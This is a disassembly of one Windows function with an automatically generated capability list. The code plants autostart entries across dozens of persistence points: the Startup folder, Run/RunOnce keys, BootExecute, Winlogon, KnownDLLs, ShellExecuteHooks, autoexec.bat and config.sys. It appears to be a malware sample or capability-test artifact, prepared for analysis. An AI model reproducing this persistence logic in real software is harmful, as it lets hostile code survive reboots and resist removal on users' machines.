Function at 0x4020e0
Capabilities:
Copy file
Persist via ginadll registry key
Persist via run registry key
Persist via screensaver registry key
Persist via windows service
Persist via winlogon helper dll registry key
Set registry value
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
push ebx
push esi
push edi
push 0
push str.c:windowsAll_UsersStart_MenuProgramsStartup
push str.c:windowsAll_UsersStart_MenuProgramsStartup
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x10]
push ecx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push 0x80000002
mov dword [esp + 0x34], 1
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x402166
push 0x4061b4
call ebx
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegCreateKeyEx_InitDlls__Error:
push edx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov ecx, dword [esp + 0xc]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea eax, [esp + 0x18]
push eax
push 1
push 0
push str.DesktopSetting
push ecx
mov dword [esp + 0x2c], 0x4072d0
call edi
test eax, eax
je 0x4021bc
push 0x4061b4
call ebx
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegSetValueExTCHAR_Desktop__Error:
push edx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
xor eax, eax
push eax
push 0x80
push 2
push eax
push eax
push 0x10000000
push str.c:_autoexec.bat
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x34], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x1c]
push edx
push 4
push str.autoexecer
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x402238
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.autoexec_Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
push 0
push 0x80
push 2
push 0
push 0
push 0x10000000
push str.C:Windows_system_autoexec.nt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x1c]
push edx
push 4
push str.autoexecer
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40229d
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.autoexecnt_Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SystemCurrentControlSetControlSession_Manager
push 0x80000002
call esi
test eax, eax
je 0x4022f0
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_BootExecute__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push str.BootExecute
push edx
call edi
test eax, eax
je 0x402337
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_Desktop__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
push 0
push 0x80
push 2
push 0
push 0
push 0x10000000
push str.C:Windows_systemconfig.nt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x1c]
push edx
push 4
push 0x407450
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40239c
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.nt_Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
push 0
push 0x80
push 2
push 0
push 0
push 0x10000000
push str.C:config.sys
call dword [sym.imp.KERNEL32.dll_CreateFileW]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x1c]
push edx
push 4
push 0x407480
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x402401
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.sys_Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
push 0
push 0x80
push 2
push 0
push 0
push 0x10000000
push str.C:Windowsdosstart.bat
call dword [sym.imp.KERNEL32.dll_CreateFileW]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x1c]
push edx
push 4
push 0x4074c4
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x402466
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.dos_Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SoftwareMicrosoftActive_SetupInstalled_Components
push 0x80000002
call esi
test eax, eax
je 0x4024b9
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_activesetup__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x402500
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_activesetup__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SoftwareClassesFilter
push 0x80000002
call esi
test eax, eax
je 0x402553
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_codecs__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x40259a
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_codecs__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerDesktopComponents
push 0x80000002
call esi
test eax, eax
je 0x4025ed
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_desktopC__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x402634
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_desktopC__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SoftwareMicrosoftCtfLangBarAddin
push 0x80000002
call esi
test eax, eax
je 0x402687
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_Misc__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x4026ce
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_Misc__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SoftwareClassesProtocols
push 0x80000002
call esi
test eax, eax
je 0x402721
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_protocols__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x402768
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_protocols__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREClassesFolderShellexColumnHandlers
push 0x80000002
call esi
test eax, eax
je 0x4027bb
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_shellex__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x402802
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_shellex__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionShell_ExtensionsApproved
push 0x80000002
call esi
test eax, eax
je 0x402855
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_shellex__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x40289c
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_shellex__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShellExecuteHooks
push 0x80000002
call esi
test eax, eax
je 0x4028ef
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_hooks__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x402936
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_hooks__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionShellServiceObjectDelayLoad
push 0x80000002
call esi
test eax, eax
je 0x402989
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_objects__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x4029d0
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_objects__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerSharedTaskScheduler
push 0x80000002
call esi
test eax, eax
je 0x402a23
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_TS__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x402a6a
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_TS__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREClassesWinRAR_shellopen
push 0x80000002
call esi
test eax, eax
je 0x402abd
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_fileopen__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x402b04
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_fileopen__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftCommand_Processor
push 0x80000002
call esi
test eax, eax
je 0x402b57
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_hij__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x402b9e
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_hij__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SystemCurrentControlSetControlSession_ManagerKnownDLLs
push 0x80000002
call esi
test eax, eax
je 0x402bf1
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_dll__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x402c38
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_dll__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonAppSetup
push 0x80000002
call esi
test eax, eax
je 0x402c8b
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_app__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x402cd2
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_app__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionPolicies
push 0x80000002
call esi
test eax, eax
je 0x402d25
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_policies__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push str.Shell
push edx
call edi
test eax, eax
je 0x402d6c
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_policies__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun
push 0x80000002
call esi
test eax, eax
je 0x402dbf
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_run__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x402e06
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_run__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
push 0x80000002
call esi
test eax, eax
je 0x402e59
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_runonce__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
